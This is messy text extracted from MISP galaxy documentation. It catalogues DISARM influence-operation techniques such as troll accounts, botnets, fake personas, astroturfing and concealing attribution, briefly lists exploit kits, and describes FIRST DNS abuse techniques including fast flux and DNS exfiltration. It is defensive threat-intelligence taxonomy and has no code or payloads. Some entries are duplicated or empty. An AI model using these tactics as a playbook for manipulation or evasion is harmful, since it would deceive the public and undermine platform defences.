An influence operation may hire trolls, or human operators of fake accounts that aim to provoke others by posting and amplifying content about controversial issues. Trolls can serve to discredit an influence operation's opposition or bring attention to the operation's cause through debate. Classic trolls refer to regular people who troll for personal reasons, such as attention-seeking or boredom. Classic trolls may advance operation narratives by coincidence but are not directly affiliated with any larger operation. Conversely, hybrid trolls act on behalf of another institution, such as a state or financial organisation, and post content with a specific ideological goal. Hybrid trolls may be highly advanced and institutionalised or less organised and work for a single individual.

The tag is: *misp-galaxy:disarm-techniques*="Enlist Troll Accounts"

Build Network

Operators build their own network, creating links between accounts—whether authentic or inauthentic—in order amplify and promote narratives and artefacts, and encourage further growth of their network, as well as the ongoing sharing and engagement with operational content.

The tag is: *misp-galaxy:disarm-techniques*="Build Network"
Create Organisations

Influence operations may establish organisations with legitimate or falsified hierarchies, staff, and content to structure operation assets, provide a sense of legitimacy to the operation, or provide institutional backing to operation activities.

The tag is: misp-galaxy:disarm-techniques="Create Organisations"

Table 1381. Table References

<table>
<thead>
<tr>

</table>

Create Community or Sub-Group

When there is not an existing community or sub-group that meets a campaign’s goals, an influence operation may seek to create a community or sub-group.

The tag is: misp-galaxy:disarm-techniques="Create Community or Sub-Group"

Table 1383. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Acquire/Recruit Network

Operators acquire an existing network by paying, recruiting, or exerting control over the leaders of the existing network.
Fund Proxies

An influence operation may fund proxies, or external entities that work for the operation. An operation may recruit/train users with existing sympathies towards the operation’s narratives and/or goals as proxies. Funding proxies serves various purposes including: - Diversifying operation locations to complicate attribution - Reducing the workload for direct operation assets

Acquire Botnets

A botnet is a group of bots that can function in coordination with each other.

Infiltrate Existing Networks

Operators deceptively insert social assets into existing networks as group members in order to influence the members of the network and the wider information environment that the network impacts.
Identify Susceptible Targets in Networks

When seeking to infiltrate an existing network, an influence operation may identify individuals and groups that might be susceptible to being co-opted or influenced.

The tag is: *misp-galaxy:disarm-techniques*="Identify Susceptible Targets in Networks"

Table 1388. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Utilise Butterfly Attacks

Butterfly attacks occur when operators pretend to be members of a certain social group, usually a group that struggles for representation. An influence operation may mimic a group to insert controversial statements into the discourse, encourage the spread of operation content, or promote harassment among group members. Unlike astroturfing, butterfly attacks aim to infiltrate and discredit existing grassroots movements, organisations, and media campaigns.

The tag is: *misp-galaxy:disarm-techniques*="Utilise Butterfly Attacks"

</tr>
</thead>
</table>

Leverage Content Farms

Using the services of large-scale content providers for creating and amplifying campaign artefacts at scale.
Create Content Farms

An influence operation may create an organisation for creating and amplifying campaign artefacts at scale.

Outsource Content Creation to External Organisations

An influence operation may outsource content creation to external companies to avoid attribution, increase the rate of content creation, or improve content quality, i.e., by employing an organisation that can create content in the target audience’s native language. Employed organisations may include marketing companies for tailored advertisements or external content farms for high volumes of targeted media.

Create Personas

Creating fake people, often with accounts across multiple platforms. These personas can be as simple as a name, can contain slightly more background like location, profile pictures, backstory, or can be effectively backstipped with indicators like fake identity documents.
### Backstop Personas

Create other assets/dossier/cover/fake relationships and/or connections or documents, sites, bylines, attributions, to establish/augment/inflate credibility/believability

The tag is: `misp-galaxy:disarm-techniques="Backstop Personas"`

</tr>
</thead>
</table>

### Leverage Existing Inauthentic News Sites

Leverage Existing Inauthentic News Sites
Prepare Assets Impersonating Legitimate Entities

An influence operation may prepare assets impersonating legitimate entities to further conceal its network identity and add a layer of legitimacy to its operation content. Users will more likely believe and less likely fact-check news from recognisable sources rather than unknown sites. Legitimate entities may include authentic news outlets, public figures, organisations, or state entities. An influence operation may use a wide variety of cyber techniques to impersonate a legitimate entity's website or social media account. Typosquatting is the international registration of a domain name with purposeful variations of the impersonated domain name through intentional typos, top-level domain (TLD) manipulation, or punycode. Typosquatting facilitates the creation of falsified websites by creating similar domain names in the URL box, leaving it to the user to confirm that the URL is correct.

Astroturfing

Astroturfing occurs when an influence operation disguises itself as grassroots movement or organisation that supports operation narratives. Unlike butterfly attacks, astroturfing aims to increase the appearance of popular support for the operation cause and does not infiltrate existing groups to discredit their objectives.

Spoof/Parody Account/Site

An influence operation may prepare assets impersonating legitimate entities to further conceal its network identity and add a layer of legitimacy to its operation content. Users will more likely
believe and less likely fact-check news from recognisable sources rather than unknown sites. Legitimate entities may include authentic news outlets, public figures, organisations, or state entities.

The tag is: mipsgalaxy:disarm-techniques="Spoof/Parody Account/Site"

Table 1401. Table References

Leverage Echo Chambers/Filter Bubbles

An echo chamber refers to an internet subgroup, often along ideological lines, where individuals only engage with “others with which they are already in agreement.” A filter bubble refers to an algorithm's placement of an individual in content that they agree with or regularly engage with, possibly entrapping the user into a bubble of their own making. An operation may create these isolated areas of the internet by match existing groups, or aggregating individuals into a single target audience based on shared interests, politics, values, demographics, and other characteristics. Echo chambers and filter bubbles help to reinforce similar biases and content to the same target audience members.

Exploit Data Voids

A data void refers to a word or phrase that results in little, manipulative, or low-quality search engine data. Data voids are hard to detect and relatively harmless until exploited by an entity aiming to quickly proliferate false or misleading information during a phenomenon that causes a high number of individuals to query the term or phrase. In the Plan phase, an influence operation may identify data voids for later exploitation in the operation. A 2019 report by Michael Golebiewski identifies five types of data voids. (1) “Breaking news” data voids occur when a keyword gains popularity during a short period of time, allowing an influence operation to publish false content before legitimate news outlets have an opportunity to publish relevant information. (2) An influence operation may create a “strategic new terms” data void by creating their own terms and publishing information online before promoting their keyword to the target audience. (3) An influence operation may publish content on “outdated terms” that have decreased in popularity, capitalising on most search engines’ preferences for recency. (4) “Fragmented concepts” data voids separate connections between similar ideas, isolating segment queries to distinct search engine results. (5) An influence operation may use “problematic queries” that previously resulted in disturbing or inappropriate content to promote messaging until mainstream media recontextualizes the term.

The tag is: `misp-galaxy:disarm-techniques="Exploit Data Voids"`
Livestream

A livestream refers to an online broadcast capability that allows for real-time communication to closed or open networks.

The tag is: `misp-galaxy:disarm-techniques="Livestream"`

**Share Memes**

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.

The tag is: `misp-galaxy:disarm-techniques="Share Memes"`

Links

One-Way Direct Posting

Direct posting refers to a method of posting content via a one-way messaging service, where the recipient cannot directly respond to the poster's messaging. An influence operation may post directly to promote operation narratives to the target audience without allowing opportunities for fact-checking or disagreement, creating a false sense of support for the narrative.

The tag is: misp-galaxy:disarm-techniques="One-Way Direct Posting"

Table 1442. Table References

Cross-Posting

Cross-posting refers to posting the same message to multiple internet discussions, social media platforms or accounts, or news groups at one time. An influence operation may post content online in multiple communities and platforms to increase the chances of content exposure to the target audience.

The tag is: `misp-galaxy:disarm-techniques="Cross-Posting"`
Post across Groups

An influence operation may post content across groups to spread narratives and content to new communities within the target audiences or to new target audiences.

The tag is: `misp-galaxy:disarm-techniques="Post across Groups"

Post across Platform

An influence operation may post content across platforms to spread narratives and content to new communities within the target audiences or to new target audiences. Posting across platforms can also remove opposition and context, helping the narrative spread with less opposition on the cross-posted platform.

The tag is: `misp-galaxy:disarm-techniques="Post across Platform"

Post across Disciplines

Post Across Disciplines

The tag is: `misp-galaxy:disarm-techniques="Post across Disciplines"
Incentivize Sharing

Incentivizing content sharing refers to actions that encourage users to share content themselves, reducing the need for the operation itself to post and promote its own content.

The tag is: misp-galaxy:disarm-techniques="Incentivize Sharing"

Use Affiliate Marketing Programmes

Use Affiliate Marketing Programmes

The tag is: misp-galaxy:disarm-techniques="Use Affiliate Marketing Programmes"

Use Contests and Prizes

Use Contests and Prizes

The tag is: misp-galaxy:disarm-techniques="Use Contests and Prizes"

Manipulate Platform Algorithm

Manipulating a platform algorithm refers to conducting activity on a platform in a way that intentionally targets its underlying algorithm. After analysing a platform’s algorithm (see: Select Platforms), an influence operation may use a platform in a way that increases its content exposure, avoids content removal, or otherwise benefits the operation’s strategy. For example, an influence operation may use bots to amplify its posts so that the platform’s algorithm recognises engagement with operation content and further promotes the content on user timelines.

The tag is: misp-galaxy:disarm-techniques="Manipulate Platform Algorithm"
Bypass Content Blocking

Bypassing content blocking refers to actions taken to circumvent network security measures that prevent users from accessing certain servers, resources, or other online spheres. An influence operation may bypass content blocking to proliferate its content on restricted areas of the internet. Common strategies for bypassing content blocking include:

- Altering IP addresses to avoid IP filtering
- Using a Virtual Private Network (VPN) to avoid IP filtering
- Using a Content Delivery Network (CDN) to avoid IP filtering
- Enabling encryption to bypass packet inspection blocking
- Manipulating text to avoid filtering by keywords
- Posting content on multiple platforms to avoid platform-specific removals
- Using local facilities or modified DNS servers to avoid DNS filtering

The tag is: `misp-galaxy:disarm-techniques="Bypass Content Blocking"`

Direct Users to Alternative Platforms

Direct users to alternative platforms refers to encouraging users to move from the platform on which they initially viewed operation content and engage with content on alternate information channels, including separate social media channels and inauthentic websites. An operation may drive users to alternative platforms to diversify its information channels and ensure the target audience knows where to access operation content if the initial platform suspends, flags, or otherwise removes original operation assets and content.

The tag is: `misp-galaxy:disarm-techniques="Direct Users to Alternative Platforms"`

Control Information Environment through Offensive Cyberspace Operations

Controlling the information environment through offensive cyberspace operations uses cyber tools and techniques to alter the trajectory of content in the information space to either prioritise
operation messaging or block opposition messaging.

The tag is: misp-galaxy:disarm-techniques="Control Information Environment through Offensive Cyberspace Operations"

Table 1457. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## Delete Opposing Content

Deleting opposing content refers to the removal of content that conflicts with operational narratives from selected platforms. An influence operation may delete opposing content to censor contradictory information from the target audience, allowing operation narratives to take priority in the information space.

The tag is: misp-galaxy:disarm-techniques="Delete Opposing Content"

Table 1458. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## Block Content

Content blocking refers to actions taken to restrict internet access or render certain areas of the internet inaccessible. An influence operation may restrict content based on both network and content attributes.

The tag is: misp-galaxy:disarm-techniques="Block Content"

Table 1459. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## Destroy Information Generation Capabilities

Destroying information generation capabilities refers to actions taken to limit, degrade, or otherwise incapacitate an actor’s ability to generate conflicting information. An influence operation may destroy an actor’s information generation capabilities by physically dismantling the information infrastructure, disconnecting resources needed for information generation, or redirecting information generation personnel. An operation may destroy an adversary’s information generation capabilities to limit conflicting content exposure to the target audience and
crowd the information space with its own narratives.

The tag is: `misp-galaxy:disarm-techniques="Destroy Information Generation Capabilities"`

Table 1460. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Conduct Server Redirect**

A server redirect, also known as a URL redirect, occurs when a server automatically forwards a user from one URL to another using server-side or client-side scripting languages. An influence operation may conduct a server redirect to divert target audience members from one website to another without their knowledge. The redirected website may pose as a legitimate source, host malware, or otherwise aid operation objectives.

The tag is: `misp-galaxy:disarm-techniques="Conduct Server Redirect"`

Table 1461. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Suppress Opposition**

Operators can suppress the opposition by exploiting platform content moderation tools and processes like reporting non-violative content to platforms for takedown and goading opposition actors into taking actions that result in platform action or target audience disapproval.

The tag is: `misp-galaxy:disarm-techniques="Suppress Opposition"`

Table 1462. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Report Non-Violative Opposing Content**

Reporting opposing content refers to notifying and providing an instance of a violation of a platform’s guidelines and policies for conduct on the platform. In addition to simply reporting the content, an operation may leverage copyright regulations to trick social media and web platforms into removing opposing content by manipulating the content to appear in violation of copyright laws. Reporting opposing content facilitates the suppression of contradictory information and allows operation narratives to take priority in the information space.
The tag is: misp-galaxy:disarm-techniques="Report Non-Violative Opposing Content"

**Table 1463. Table References**

Conceal Information Assets

Conceal the identity or provenance of campaign information assets such as accounts, channels, pages etc. to avoid takedown and attribution.

The tag is: `misp-galaxy:disarm-techniques="Conceal Information Assets"`

Table 1473. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Use Pseudonyms

An operation may use pseudonyms, or fake names, to mask the identity of operational accounts, channels, pages etc., publish anonymous content, or otherwise use falsified personas to conceal the identity of the operation. An operation may coordinate pseudonyms across multiple platforms, for example, by writing an article under a pseudonym and then posting a link to the article on social media on an account, channel, or page with the same falsified name.
Conceal Network Identity

Concealing network identity aims to hide the existence an influence operation’s network completely. Unlike concealing sponsorship, concealing network identity denies the existence of any sort of organisation.

Distance Reputable Individuals from Operation

Distancing reputable individuals from the operation occurs when enlisted individuals, such as celebrities or subject matter experts, actively disengage themselves from operation activities and messaging. Individuals may distance themselves from the operation by deleting old posts or statements, unfollowing operation information assets, or otherwise detaching themselves from the operation’s timeline. An influence operation may want reputable individuals to distance themselves from the operation to reduce operation exposure, particularly if the operation aims to remove all evidence.

Launder Information Assets

Laundering occurs when an influence operation acquires control of previously legitimate information assets such as accounts, channels, pages etc. from third parties through sale or exchange and often in contravention of terms of use. Influence operations use laundered assets to reach target audience members from within an existing information community and to complicate attribution.
Change Names of Information Assets

Changing names or brand names of information assets such as accounts, channels, pages etc. An operation may change the names or brand names of its assets throughout an operation to avoid detection or alter the names of newly acquired or repurposed assets to fit operational narratives.

Conceal Operational Activity

Conceal the campaign's operational activity to avoid takedown and attribution.

Generate Content Unrelated to Narrative

An influence operation may mix its own operation content with legitimate news or external unrelated content to disguise operational objectives, narratives, or existence. For example, an operation may generate "lifestyle" or "cuisine" content alongside regular operation content.
Break Association with Content

Breaking association with content occurs when an influence operation actively separates itself from its own content. An influence operation may break association with content by unfollowing, unliking, or unsharing its content, removing attribution from its content, or otherwise taking actions that distance the operation from its messaging. An influence operation may break association with its content to complicate attribution or regain credibility for a new operation.

The tag is: misp-galaxy:disarm-techniques="Break Association with Content"

Table 1481. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Delete URLs

URL deletion occurs when an influence operation completely removes its website registration, rendering the URL inaccessible. An influence operation may delete its URLs to complicate attribution or remove online documentation that the operation ever occurred.

The tag is: misp-galaxy:disarm-techniques="Delete URLs"

Table 1482. Table References

</tr>
</thead>
</table>

Deny Involvement

Without "smoking gun" proof (and even with proof), incident creator can or will deny involvement. This technique also leverages the attacker advantages outlined in "Demand insurmountable proof", specifically the asymmetric disadvantage for truth-tellers in a "firehose of misinformation" environment.
Delete Accounts/Account Activity

Deleting accounts and account activity occurs when an influence operation removes its online social media assets, including social media accounts, posts, likes, comments, and other online artefacts. An influence operation may delete its accounts and account activity to complicate attribution or remove online documentation that the operation ever occurred.

Redirect URLs

An influence operation may redirect its falsified or typosquatted URLs to legitimate websites to increase the operation's appearance of legitimacy, complicate attribution, and avoid detection.

Remove Post Origins

Removing post origins refers to the elimination of evidence that indicates the initial source of operation content, often to complicate attribution. An influence operation may remove post origins by deleting watermarks, renaming files, or removing embedded links in its content.
**Misattribute Activity**

Misattributed activity refers to incorrectly attributed operation activity. For example, a state-sponsored influence operation may conduct operation activity in a way that mimics another state so that external entities misattribute activity to the incorrect state. An operation may misattribute their activities to complicate attribution, avoid detection, or frame an adversary for negative behaviour.

The tag is: `misp-galaxy:disarm-techniques="Misattribute Activity"`

**Conceal Infrastructure**

Conceal the campaign’s infrastructure to avoid takedown and attribution.

The tag is: `misp-galaxy:disarm-techniques="Conceal Infrastructure"`

**Conceal Sponsorship**

Concealing sponsorship aims to mislead or obscure the identity of the hidden sponsor behind an operation rather than entity publicly running the operation. Operations that conceal sponsorship may maintain visible falsified groups, news outlets, non-profits, or other organisations, but seek to mislead or obscure the identity sponsoring, funding, or otherwise supporting these entities. Influence operations may use a variety of techniques to mask the location of their social media accounts to complicate attribution and conceal evidence of foreign interference. Operation accounts may set their location to a false place, often the location of the operation’s target audience, and post in the region’s language.

The tag is: `misp-galaxy:disarm-techniques="Conceal Sponsorship"`
**Utilise Bulletproof Hosting**

Hosting refers to services through which storage and computing resources are provided to an individual or organisation for the accommodation and maintenance of one or more websites and related services. Services may include web hosting, file sharing, and email distribution. Bulletproof hosting refers to services provided by an entity, such as a domain hosting or web hosting firm, that allows its customer considerable leniency in use of the service. An influence operation may utilise bulletproof hosting to maintain continuity of service for suspicious, illegal, or disruptive operation activities that stricter hosting services would limit, report, or suspend.

The tag is: `misp-galaxy:disarm-techniques="Utilise Bulletproof Hosting"`

The tag is: misp-galaxy:disarm-techniques="Message Reach"
Social Media Engagement

Monitor and evaluate social media engagement in misinformation incidents.

The tag is: *misp-galaxy:disarm-techniques=*"Social Media Engagement"

Undermine

Weaken, debilitate, or subvert a target or their actions. An influence operation may be designed to disparage an opponent; sabotage an opponent’s systems or processes; compromise an opponent’s relationships or support system; impair an opponent’s capability; or thwart an opponent’s initiative.

The tag is: *misp-galaxy:disarm-techniques=*"Undermine"

Smear

Denigrate, disparage, or discredit an opponent. This is a common tactical objective in political campaigns with a larger strategic goal. It differs from efforts to harm a target through defamation. If there is no ulterior motive and the sole aim is to cause harm to the target, then choose sub-technique “Defame” of technique “Cause Harm” instead.

The tag is: *misp-galaxy:disarm-techniques=*"Smear"
Thwart

Prevent the successful outcome of a policy, operation, or initiative. Actors conduct influence operations to stymie or foil proposals, plans, or courses of action which are not in their interest.

The tag is: *misp-galaxy:disarm-techniques=*“Thwart”*

<table>

</tr>
</tbody>
</table>

Cultivate Support

Grow or maintain the base of support for the actor, ally, or action. This includes hard core recruitment, managing alliances, and generating or maintaining sympathy among a wider audience, including reputation management and public relations. Sub-techniques assume support for actor (self) unless otherwise specified.

The tag is: *misp-galaxy:disarm-techniques=*“Cultivate Support”*
Defend Reputation

Preserve a positive perception in the public’s mind following an accusation or adverse event. When accused of a wrongful act, an actor may engage in denial, counter accusations, whataboutism, or conspiracy theories to distract public attention and attempt to maintain a positive image.

The tag is: `misp-galaxy:disarm-techniques="Defend Reputation"`

Justify Action

To convince others to exonerate you of a perceived wrongdoing. When an actor finds it untenable to deny doing something, they may attempt to exonerate themselves with disinformation which claims the action was reasonable. This is a special case of “Defend Reputation”.

The tag is: `misp-galaxy:disarm-techniques="Justify Action"`

Energise Supporters

Raise the morale of those who support the organisation or group. Invigorate constituents with zeal for the mission or activity. Terrorist groups, political movements, and cults may indoctrinate their supporters with ideologies that are based on warped versions of religion or cause harm to others.

The tag is: `misp-galaxy:disarm-techniques="Energise Supporters"`
Boost Reputation

Elevate the estimation of the actor in the public’s mind. Improve their image or standing. Public relations professionals use persuasive overt communications to achieve this goal; manipulators use covert disinformation.

The tag is: misp-galaxy:disarm-techniques="Boost Reputation"

Table 1520. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cultivate Support for Initiative

Elevate or fortify the public backing for a policy, operation, or idea. Domestic and foreign actors can use artificial means to fabricate or amplify public support for a proposal or action.

The tag is: misp-galaxy:disarm-techniques="Cultivate Support for Initiative"

Table 1521. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cultivate Support for Ally

Elevate or fortify the public backing for a partner. Governments may interfere in other countries’ elections by covertly favouring a party or candidate aligned with their interests. They may also mount an influence operation to bolster the reputation of an ally under attack.

The tag is: misp-galaxy:disarm-techniques="Cultivate Support for Ally"

Table 1522. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Recruit Members

Motivate followers to join or subscribe as members of the team. Organisations may mount recruitment drives that use propaganda to entice sympathisers to sign up.

The tag is: misp-galaxy:disarm-techniques="Recruit Members"
**Increase Prestige**

Improve personal standing within a community. Gain fame, approbation, or notoriety. Conspiracy theorists, those with special access, and ideologues can gain prominence in a community by propagating disinformation, leaking confidential documents, or spreading hate.

The tag is: `misp-galaxy:disarm-techniques="Increase Prestige"`

**Make Money**

Profit from disinformation, conspiracy theories, or online harm. In some cases, the sole objective is financial gain, in other cases the objective is both financial and political. Making money may also be a way to sustain a political campaign.

The tag is: `misp-galaxy:disarm-techniques="Make Money"`

**Generate Ad Revenue**

Earn income from digital advertisements published alongside inauthentic content. Conspiratorial, false, or provocative content drives internet traffic. Content owners earn money from impressions of, or clicks on, or conversions of ads published on their websites, social media profiles, or streaming services, or ads published when their content appears in search engine results. Fraudsters simulate impressions, clicks, and conversions, or they spin up inauthentic sites or social media profiles just to generate ad revenue. Conspiracy theorists and political operators generate ad revenue as a byproduct of their operation or as a means of sustaining their campaign.

The tag is: `misp-galaxy:disarm-techniques="Generate Ad Revenue"`
**Scam**

Defraud a target or trick a target into doing something that benefits the attacker. A typical scam is where a fraudster convinces a target to pay for something without the intention of ever delivering anything in return. Alternatively, the fraudster may promise benefits which never materialise, such as a fake cure. Criminals often exploit a fear or crisis or generate a sense of urgency. They may use deepfakes to impersonate authority figures or individuals in distress.

The tag is: `misp-galaxy:disarm-techniques="Scam"`

*Table 1527. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Raise Funds**

Solicit donations for a cause. Popular conspiracy theorists can attract financial contributions from their followers. Fighting back against the establishment is a popular crowdfunding narrative.

The tag is: `misp-galaxy:disarm-techniques="Raise Funds"`

*Table 1528. Table References*

<table>
<thead>
<tr>
<th>Links</th>

Motivate to Act

Persuade, impel, or provoke the target to behave in a specific manner favourable to the attacker. Some common behaviours are joining, subscribing, voting, buying, demonstrating, fighting, retreating, resigning, boycotting.

The tag is: misp-galaxy:disarm-techniques="Motivate to Act"

Table 1532. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Encourage

Inspire, animate, or exhort a target to act. An actor can use propaganda, disinformation, or conspiracy theories to stimulate a target to act in its interest.
Promote
Encourage

Instigate, incite, or arouse a target to act. Social media manipulators exploit moral outrage to propel targets to spread hate, take to the streets to protest, or engage in acts of violence.

The tag is: *misp-galaxy:disarm-techniques*="Encourage"

Provoke

Instigate, incite, or arouse a target to act. Social media manipulators exploit moral outrage to propel targets to spread hate, take to the streets to protest, or engage in acts of violence.

The tag is: *misp-galaxy:disarm-techniques*="Provoke"

Compel

Force target to take an action or to stop taking an action it has already started. Actors can use the threat of reputational damage alongside military or economic threats to compel a target.

The tag is: *misp-galaxy:disarm-techniques*="Compel"

Dissuade from Acting

Discourage, deter, or inhibit the target from actions which would be unfavourable to the attacker. The actor may want the target to refrain from voting, buying, fighting, or supplying.

The tag is: *misp-galaxy:disarm-techniques*="Dissuade from Acting"
**Discourage**

To make a target disinclined or reluctant to act. Manipulators use disinformation to cause targets to question the utility, legality, or morality of taking an action.

The tag is: `misp-galaxy:disarm-techniques="Discourage"`

**Silence**

Intimidate or incentivise target into remaining silent or prevent target from speaking out. A threat actor may cow a target into silence as a special case of deterrence. Or they may buy the target’s silence. Or they may repress or restrict the target’s speech.

The tag is: `misp-galaxy:disarm-techniques="Silence"`

**Deter**

Prevent target from taking an action for fear of the consequences. Deterrence occurs in the mind of the target, who fears they will be worse off if they take an action than if they don’t. When making threats, aggressors may bluff, feign irrationality, or engage in brinksmanship.

The tag is: `misp-galaxy:disarm-techniques="Deter"`

**Cause Harm**

Persecute, malign, or inflict pain upon a target. The objective of a campaign may be to cause fear or emotional distress in a target. In some cases, harm is instrumental to achieving a primary objective, as in coercion, repression, or intimidation. In other cases, harm may be inflicted for the satisfaction of the perpetrator, as in revenge or sadistic cruelty.
Defame

Attempt to damage the target's personal reputation by impugning their character. This can range from subtle attempts to misrepresent or insinuate, to obvious attempts to denigrate or disparage, to blatant attempts to malign or vilify. Slander applies to oral expression. Libel applies to written or pictorial material. Defamation is often carried out by online trolls. The sole aim here is to cause harm to the target. If the threat actor uses defamation as a means of undermining the target, then choose sub-technique “Smear” of technique “Undermine” instead.

Intimidate

Coerce, bully, or frighten the target. An influence operation may use intimidation to compel the target to act against their will. Or the goal may be to frighten or even terrify the target into silence or submission. In some cases, the goal is simply to make the victim suffer.

Spread Hate

Publish and/or propagate demeaning, derisive, or humiliating content targeting an individual or group of individuals with the intent to cause emotional, psychological, or physical distress. Hate speech can cause harm directly or incite others to harm the target. It often aims to stigmatise the target by singling out immutable characteristics such as colour, race, religion, national or ethnic origin, gender, gender identity, sexual orientation, age, disease, or mental or physical disability. Thus, promoting hatred online may involve racism, antisemitism, Islamophobia, xenophobia, sexism, misogyny, homophobia, transphobia, ageism, ableism, or any combination thereof.
Motivations for hate speech range from group preservation to ideological superiority to the unbridled infliction of suffering.

The tag is: *misp-galaxy:disarm-techniques=*"Spread Hate"

### Bingo

Bingo EK is the name chosen by the defense for a Fiesta-ish EK first spotted in March 2017 and targeting at that time mostly Russia.

The tag is: misp-galaxy:exploit-kit="Bingo"

### Terror EK

Terror EK is built on Hunter, Sundown and RIG EK code

The tag is: misp-galaxy:exploit-kit="Terror EK"

Terror EK is also known as:

- Blaze EK
- Neptune EK

### DealersChoice

DealersChoice is a Flash Player Exploit platform triggered by RTF.

DealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. Palo Alto Network researchers analyzed two variants—variant A, which is a standalone variant including Flash exploit code packaged with a payload, and variant B, which is a modular variant that loads exploit code on demand. This new component appeared in 2016 and is still in use.

The tag is: misp-galaxy:exploit-kit="DealersChoice"
DealersChoice is also known as:

- Sednit RTF EK

Niteris was used mainly to target Russian.

The tag is: `misp-galaxy:exploit-kit="Niteris"`

Niteris is also known as:

- CottonCastle

Nuclear

The Nuclear Pack appeared in 2009 and has been one of the longer living ones. Spartan EK was a landing less variation of Nuclear Pack

The tag is: `misp-galaxy:exploit-kit="Nuclear"`

Nuclear is also known as:

- NEK
- Nuclear Pack
- Spartan
- Neclu

Phoenix

Phoenix Exploit Kit

The tag is: `misp-galaxy:exploit-kit="Phoenix"`

Phoenix is also known as:
### Private Exploit Pack

Private Exploit Pack

The tag is: `misp-galaxy:exploit-kit="Private Exploit Pack"`

Private Exploit Pack is also known as:

- **PEP**

### Redkit

Redkit has been a major exploit kit in 2012. One of its specific features was to allow its access against a share of a percentage of the customer’s traffic

The tag is: `misp-galaxy:exploit-kit="Redkit"`

### Sakura

Sakura Exploit Kit appeared in 2012 and was adopted by several big actor

The tag is: `misp-galaxy:exploit-kit="Sakura"`
**SPL**

SPL exploit kit was mainly seen in 2012/2013 most often associated with ZeroAccess and Scareware/FakeAV

The tag is: `misp-galaxy:exploit-kit="SPL"`

SPL is also known as:

- SPL_Data
- SPLNet
- SPL2

FIRST DNS Abuse Techniques Matrix

The Domain Name System (DNS) is a critical part of the Internet, including mapping domain names to IP addresses. Malicious threat actors use domain names, their corresponding technical resources, and other parts of the DNS infrastructure, including its protocols, for their malicious cyber operations. CERTs are confronted with reported DNS abuse on a continuous basis, and rely heavily on DNS analysis and infrastructure to protect their constituencies. Understanding the international customary norms applicable for detecting and mitigating DNS abuse from the perspective of the global incident response community is critical for the open Internet’s stability, security and resiliency. See also [https://www.first.org/global/sigs/dns/](https://www.first.org/global/sigs/dns/) for more information.

FIRST DNS Abuse Techniques Matrix is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

DNS rebinding

DNS rebinding - a type of attack where a malicious website directs a client to a local network address, allowing the attacker to bypass the same-origin policy and gain access to the victim's local resources.

The tag is: misp-galaxy:first-dns="DNS rebinding"

Table 1621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
DNS server compromise

Attacker gains administrative privileges on an open recursive DNS server, authoritative DNS server, organizational recursive DNS server, or ISP-operated recursive DNS server.

The tag is: misp-galaxy:first-dns="DNS server compromise"

Stub resolver hijacking

The attacker compromises the Operating System of a computer or a phone with malicious code that intercepts and responds to DNS queries with rogue or malicious responses.

The tag is: misp-galaxy:first-dns="Stub resolver hijacking"

Local recursive resolver hijacking

Consumer Premise Equipment (CPE), such as home routers, often provide DNS recursion on the local network. If the CPE device is compromised, the attacker can change the recursive resolver behavior; for example, by changing responses.

The tag is: misp-galaxy:first-dns="Local recursive resolver hijacking"

On-path DNS attack

Attackers intercept communication between a user and a DNS server and provide different destination IP addresses pointing to malicious sites.

The tag is: misp-galaxy:first-dns="On-path DNS attack"

</tbody>
</table>

DoS against the DNS

Multiple systems sending malicious traffic to a target at the same time.

The tag is: misp-galaxy:first-dns="DoS against the DNS"

DNS as a vector for DoS

Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly
termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Two prominent protocols that have enabled Reflection Amplification Floods are DNS and NTP through the use of several others in the wild have been documented. These Reflection and Amplification Floods can be directed against components of the DNS, like authoritative nameservers, rendering them unresponsive.

The tag is: *misp-galaxy:first-dns="DNS as a vector for DoS"

**Dynamic DNS resolution**

Dynamic DNS resolution (as obfuscation technique) - Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware’s communications. These calculations can be used to dynamically adjust parameters such as the domain name IP address or port number the malware uses for command and control.

The tag is: *misp-galaxy:first-dns="Dynamic DNS resolution"

**Dynamic DNS resolution: Fast flux**

Dynamic DNS resolution: Fast flux (as obfuscation technique) - Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name with multiple IP addresses assigned to it which are swapped with high frequency using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.

The tag is: *misp-galaxy:first-dns="Dynamic DNS resolution: Fast flux"

**Infiltration and exfiltration via the DNS**

Exfiltration via the DNS requires a delegated domain or, if the domain does not exist in the public DNS, the operation of a resolver preloaded with that domain’s zone file information and configured
to receive and respond to the queries sent by the compromised devices.

The tag is: \textit{misp-galaxy:first-dns=}'Infiltration and exfiltration via the DNS''

